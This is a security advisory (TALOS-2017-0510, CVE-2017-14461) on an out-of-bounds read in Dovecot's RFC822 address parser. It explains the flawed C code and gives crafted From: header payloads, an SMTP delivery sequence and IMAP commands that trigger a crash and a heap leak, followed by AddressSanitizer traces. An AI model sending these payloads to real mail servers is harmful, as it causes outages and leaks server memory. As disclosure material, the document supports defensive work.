Talos Vulnerability Report

TALOS-2017-0510

Dovecot IMAP Server rfc822_parse_domain Information Leak Vulnerability

March 1, 2018
CVE Number

CVE-2017-14461

Summary

An exploitable out of bounds read vulnerability exists in the RFC822 parser as implemented in Dovecot IMAP Server 2.2.33.2. A specially crafted email delivered over SMTP and passed on to Dovecot by MTA can trigger an out of bounds read resulting in potential sensitive information disclosure and denial of service. In order to trigger this vulnerability, an attacker needs to send a specially crafted email message to the server.

Tested Versions

Dovecot IMAP Server 2.2.33.2

Product URLs

https://www.dovecot.org/

CVSSv3 Score

5.9 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:H

CWE

CWE-125: Out-of-bounds Read

Details

Dovecot is a very popular IMAP server with performance and security oriented design. In combination with Postfix as its mail transfer agent, it is a popular choice for robust email servers.

When an email is delivered by MTA to the mailbox, Dovecot parses and indexes it for fast retrieval. Parsing of email messages marked with content type “rfc822” will eventually call the function rfc822_parse_domain when To: and From: fields are encountered. Messages can have multiple of these fields and each need to be parsed separately. Also, according to the RFC, address fields can have quoted strings, comments, complex domains… so the parser isn’t straightforward. Three interesting functions are called after rfc822_parse_domain, namely: rfc822_parse_quoted_string, rfc822_parse_domain_literal and rfc822_skip_comment. If we take a closer look at rfc822_skip_comment we can see the following:

for (; ctx->data != ctx->end; ctx->data++) {                [1]
      switch (*ctx->data) {
      case '(':
              level++;
              break;
      case ')':
              if (--level == 0) {
                      if (ctx->last_comment != NULL) {
                              str_append_n(ctx->last_comment, start,
                                           ctx->data - start);
                      }
                      ctx->data++;
                      return ctx->data != ctx->end ? 1 : 0;
              }
              break;

In the above code, at [1], exit condition of the for loop checks to make sure ctx->data doesn’t get past ctx->end before it’s incremented. No check is performed to make sure ctx->data doesn’t point past ctx->end before entering the for loop. Indeed, if we take a look at rfc822_parse_domain (an indirect caller of rfc822_skip_comment) we can see the following code:

  int rfc822_parse_domain(struct rfc822_parser_context *ctx, string_t *str)

      /*
         domain          = dot-atom / domain-literal / obs-domain
         domain-literal  = [CFWS] "[" *([FWS] dcontent) [FWS] "]" [CFWS]
         obs-domain      = atom *("." atom)
      */
      i_assert(*ctx->data == '@');                                [2]
      ctx->data++;                                                [3]


      if (rfc822_skip_lwsp(ctx) <= 0)                                [4]
              return -1;


      if (*ctx->data == '[')
              return rfc822_parse_domain_literal(ctx, str);        [5]
      else
              return rfc822_parse_dot_atom(ctx, str);

In the above code, at [2] a check is made against ctx->data currently pointing to @ character. At [3] ctx->data pointer is incremented unconditionally. Note that no check is performed to ensure ctx->data isn’t past ctx->end at this point. Further calls at [4], [5] and after the function returns end up calling rfc822_parse_quoted_string, rfc822_parse_domain_literal and rfc822_skip_comment where this vulnerability manifests itself.

For example, in order to trigger the vulnerability in function rfc822_skip_comment an email with following content can be sent:

Content-Type: message/rfc822

From: aaaa@( From: a(aa

Note that the length of the second From: value is just 4, but due to the way Dovecot reuses memory buffers, the second string will actually overwrite the first. In memory , this will actually become a(aa@( since the actual copied string isn’t null terminated. In general, this isn’t a problem, because ctx->end pointer will keep the parser from reaching out of bounds. But in this special case, condition [2] in the previously quoted code will be satisfied, and since ctx->data is already equal to ctx->end , at [3] it will be incremented past it. When rfc822_skip_comment is called, the for loop at [1] will be entered with an already invalid condition, as ctx->data is already higher than ctx->end, causing an almost unbounded out-of-bounds read. Due to the break conditions present in the for loop, if a closing bracket is encountered in the memory, a loop will terminate, otherwise it will crash when it hits a guard page. A simple way of testing this is via test-imap-bodystructure program in the testsuite.

Similarly, to trigger this vulnerability in rfc822_parse_domain_literal a following message can be sent:

Content-Type: message/rfc822

From: aaaaaaaaaaa@[ From: aaa(aaaaaaa

In the above, a similar alignment to @ character causes the problem, but the opened [ bracket causes the bug to manifest in rfc822_/parse_domain_/literal.

Again, to trigger this vulnerability in rfc822/_parse/_quoted_string a following message can be sent:

Content-Type: message/rfc822

From: a@," From: "

Same alignment, just using a quoted string instead of round brackets.

An example SMTP exchange that actually delivers the malformed email messages to the mailbox can be as follows:

HELO smtpserver MAIL FROM: attacker@nevermind RCPT TO: victim@smtpserver data From: attacker@nevermind Subject: test Content-Type: message/rfc822

From: aaaa@( From: a(aa

This vulnerability can potentially be abused to leak sensitive information from the process. In order to do so, an authenticated IMAP server user needs to invoke specific commands to trigger the vulnerable code path in the parser. As mentioned previously, if a condition to break out of the for loop in the functions where the bug manifests itself is satisfied (a closed bracket somewhere in the memory past the end of buffer) additional heap memory can be returned to the user, including memory pointers possibly other sensitive information. An example set of commands sent to the IMAP server that trigger this behaviour can be :

a login user password x select inbox x UID SEARCH ALL x UID FETCH 57 (BODYSTRUCTURE)

After the last command, the server will reply with body structure of the message, which can leak information from heap.

Due to the design of Dovecot, in most usual configurations, the information leak side of this vulnerability is partially mitigated by the fact that the vulnerable code is invoked in the low privileged imap-login process which has limited to no access to sensitive data. However, this can potentially be abused as an info leak component when exploiting another vulnerability in order to bypass other exploit mitigations.

Crash Information

Address sanitizer output for rfc822_skip_comment case:

==50425==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001c901 at pc 0x000000512f3e bp 0x7ffeaaf0bd00 sp   
0x7ffeaaf0bcf8
READ of size 1 at 0x62100001c901 thread T0
  #0 0x512f3d in rfc822_skip_comment /home/user/dovecot/core/src/lib-mail/rfc822-parser.c:76
  #1 0x512f3d in ?? ??:0
  #2 0x515e2b in rfc822_skip_lwsp /home/user/dovecot/core/src/lib-mail/rfc822-parser.c:120
  #3 0x515e2b in rfc822_parse_domain /home/user/dovecot/core/src/lib-mail/rfc822-parser.c:344
  #4 0x515e2b in ?? ??:0
  #5 0x51b6e4 in parse_domain /home/user/dovecot/core/src/lib-mail/message-address.c:107
  #6 0x51b6e4 in parse_addr_spec /home/user/dovecot/core/src/lib-mail/message-address.c:226
  #7 0x51b6e4 in parse_mailbox /home/user/dovecot/core/src/lib-mail/message-address.c:277
  #8 0x51b6e4 in ?? ??:0
  #9 0x51820c in parse_address /home/user/dovecot/core/src/lib-mail/message-address.c:356
  #10 0x51820c in parse_address_list /home/user/dovecot/core/src/lib-mail/message-address.c:369
  #11 0x51820c in message_address_parse_real /home/user/dovecot/core/src/lib-mail/message-address.c:405
  #12 0x51820c in ?? ??:0
  #13 0x517a13 in message_address_parse /home/user/dovecot/core/src/lib-mail/message-address.c:420
  #14 0x517a13 in ?? ??:0
  #15 0x50cb0c in message_part_envelope_parse_from_header /home/user/dovecot/core/src/lib-mail/message-part-data.c:233
  #16 0x50cb0c in ?? ??:0
  #17 0x50d435 in message_part_data_parse_from_header /home/user/dovecot/core/src/lib-mail/message-part-data.c:498
  #18 0x50d435 in ?? ??:0
  #19 0x4eae46 in msg_parse /home/user/dovecot/core/src/lib-imap/test-imap-bodystructure.c:24
  #20 0x4eae46 in main /home/user/dovecot/core/src/lib-imap/test-imap-bodystructure.c:43
  #21 0x4eae46 in ?? ??:0
  #22 0x7f214d63682f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
  #23 0x7f214d63682f in ?? ??:0
  #24 0x419568 in _start ??:?
  #25 0x419568 in ?? ??:0


   0x62100001c901 is located 0 bytes to the right of 4097-byte region [0x62100001b900,0x62100001c901) allocated by thread T0 here:
  #0 0x4b9820 in calloc ??:?
  #1 0x4b9820 in ?? ??:0
  #2 0x559efc in pool_system_malloc /home/user/dovecot/core/src/lib/mempool-system.c:75
  #3 0x559efc in ?? ??:0

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/user/dovecot/core/src/lib-imap/test-imap-bodystructure+0x512f3d) Shadow bytes around the buggy address:

0x0c427fffb8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fffb920:[01]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb960: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:       fa
Heap right redzone:      fb
Freed heap region:       fd
Stack left redzone:      f1
Stack mid redzone:       f2
Stack right redzone:     f3
Stack partial redzone:   f4
Stack after return:      f5
Stack use after scope:   f8
Global redzone:          f9
Global init order:       f6
Poisoned by user:        f7
Container overflow:      fc
Array cookie:            ac
Intra object redzone:    bb
ASan internal:           fe
Left alloca redzone:     ca
Right alloca redzone:    cb
 ==50425==ABORTING

Address sanitizer output for rfc822_parse_domain_literal case:

==50438==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001c901 at pc 0x00000051613b bp 0x7ffeba7a6a60 sp
0x7ffeba7a6a58
  READ of size 1 at 0x62100001c901 thread T0
  #0 0x51613a in rfc822_parse_domain_literal /home/user/dovecot/core/src/lib-mail/rfc822-parser.c:319
  #1 0x51613a in rfc822_parse_domain /home/user/dovecot/core/src/lib-mail/rfc822-parser.c:348
  #2 0x51613a in ?? ??:0
  #3 0x51b6e4 in parse_domain /home/user/dovecot/core/src/lib-mail/message-address.c:107
  #4 0x51b6e4 in parse_addr_spec /home/user/dovecot/core/src/lib-mail/message-address.c:226
  #5 0x51b6e4 in parse_mailbox /home/user/dovecot/core/src/lib-mail/message-address.c:277
  #6 0x51b6e4 in ?? ??:0
  #7 0x51820c in parse_address /home/user/dovecot/core/src/lib-mail/message-address.c:356
  #8 0x51820c in parse_address_list /home/user/dovecot/core/src/lib-mail/message-address.c:369
  #9 0x51820c in message_address_parse_real /home/user/dovecot/core/src/lib-mail/message-address.c:405
  #10 0x51820c in ?? ??:0
  #11 0x517a13 in message_address_parse /home/user/dovecot/core/src/lib-mail/message-address.c:420
  #12 0x517a13 in ?? ??:0
  #13 0x50cb0c in message_part_envelope_parse_from_header /home/user/dovecot/core/src/lib-mail/message-part-data.c:233
  #14 0x50cb0c in ?? ??:0
  #15 0x50d435 in message_part_data_parse_from_header /home/user/dovecot/core/src/lib-mail/message-part-data.c:498
  #16 0x50d435 in ?? ??:0
  #17 0x4eae46 in msg_parse /home/user/dovecot/core/src/lib-imap/test-imap-bodystructure.c:24
  #18 0x4eae46 in main /home/user/dovecot/core/src/lib-imap/test-imap-bodystructure.c:43
  #19 0x4eae46 in ?? ??:0
  #20 0x7f9946d1882f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
  #21 0x7f9946d1882f in ?? ??:0
  #22 0x419568 in _start ??:?
  #23 0x419568 in ?? ??:0


0x62100001c901 is located 0 bytes to the right of 4097-byte region [0x62100001b900,0x62100001c901)  allocated by thread T0 here:
  #0 0x4b9820 in calloc ??:?
  #1 0x4b9820 in ?? ??:0
  #2 0x559efc in pool_system_malloc /home/user/dovecot/core/src/lib/mempool-system.c:75
  #3 0x559efc in ?? ??:0

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/user/dovecot/core/src/lib-imap/test-imap-bodystructure+0x51613a) Shadow bytes around the buggy address:

0x0c427fffb8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fffb920:[01]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb960: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:       fa
Heap right redzone:      fb
Freed heap region:       fd
Stack left redzone:      f1
Stack mid redzone:       f2
Stack right redzone:     f3
Stack partial redzone:   f4
Stack after return:      f5
Stack use after scope:   f8
Global redzone:          f9
Global init order:       f6
Poisoned by user:        f7
Container overflow:      fc
Array cookie:            ac
Intra object redzone:    bb
ASan internal:           fe
Left alloca redzone:     ca
Right alloca redzone:    cb
  ==50438==ABORTING

Address sanitizer output for rfc822_parse_quoted_string case:

=================================================================
==50447==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001c901 at pc 0x000000515137 bp 0x7ffded544770 sp    
0x7ffded544768
READ of size 1 at 0x62100001c901 thread T0
  #0 0x515136 in rfc822_parse_quoted_string /home/user/dovecot/core/src/lib-mail/rfc822-parser.c:218
  #1 0x515136 in ?? ??:0
  #2 0x51530e in rfc822_parse_phrase /home/user/dovecot/core/src/lib-mail/rfc822-parser.c:288
  #3 0x51530e in ?? ??:0
  #4 0x517f26 in parse_group /home/user/dovecot/core/src/lib-mail/message-address.c:300
  #5 0x517f26 in parse_address /home/user/dovecot/core/src/lib-mail/message-address.c:353
  #6 0x517f26 in parse_address_list /home/user/dovecot/core/src/lib-mail/message-address.c:369
  #7 0x517f26 in message_address_parse_real /home/user/dovecot/core/src/lib-mail/message-address.c:405
  #8 0x517f26 in ?? ??:0
  #9 0x517a13 in message_address_parse /home/user/dovecot/core/src/lib-mail/message-address.c:420
  #10 0x517a13 in ?? ??:0
  #11 0x50cb0c in message_part_envelope_parse_from_header /home/user/dovecot/core/src/lib-mail/message-part-data.c:233
  #12 0x50cb0c in ?? ??:0
  #13 0x50d435 in message_part_data_parse_from_header /home/user/dovecot/core/src/lib-mail/message-part-data.c:498
  #14 0x50d435 in ?? ??:0
  #15 0x4eae46 in msg_parse /home/user/dovecot/core/src/lib-imap/test-imap-bodystructure.c:24
  #16 0x4eae46 in main /home/user/dovecot/core/src/lib-imap/test-imap-bodystructure.c:43
  #17 0x4eae46 in ?? ??:0
  #18 0x7fdbdc27182f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
  #19 0x7fdbdc27182f in ?? ??:0
  #20 0x419568 in _start ??:?
  #21 0x419568 in ?? ??:0


0x62100001c901 is located 0 bytes to the right of 4097-byte region [0x62100001b900,0x62100001c901)
allocated by thread T0 here:
  #0 0x4b9820 in calloc ??:?
  #1 0x4b9820 in ?? ??:0
  #2 0x559efc in pool_system_malloc /home/user/dovecot/core/src/lib/mempool-system.c:75
  #3 0x559efc in ?? ??:0

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/user/dovecot/core/src/lib-imap/test-imap-bodystructure+0x515136) Shadow bytes around the buggy address:

0x0c427fffb8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffb910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  =>0x0c427fffb920:[01]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb960: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffb970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:       fa
Heap right redzone:      fb
Freed heap region:       fd
Stack left redzone:      f1
Stack mid redzone:       f2
Stack right redzone:     f3
Stack partial redzone:   f4
Stack after return:      f5
Stack use after scope:   f8
Global redzone:          f9
Global init order:       f6
Poisoned by user:        f7
Container overflow:      fc
Array cookie:            ac
Intra object redzone:    bb
ASan internal:           fe
Left alloca redzone:     ca
Right alloca redzone:    cb
   ==50447==ABORTING

Timeline

2017-12-22 - Vendor Disclosure
2018-03-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.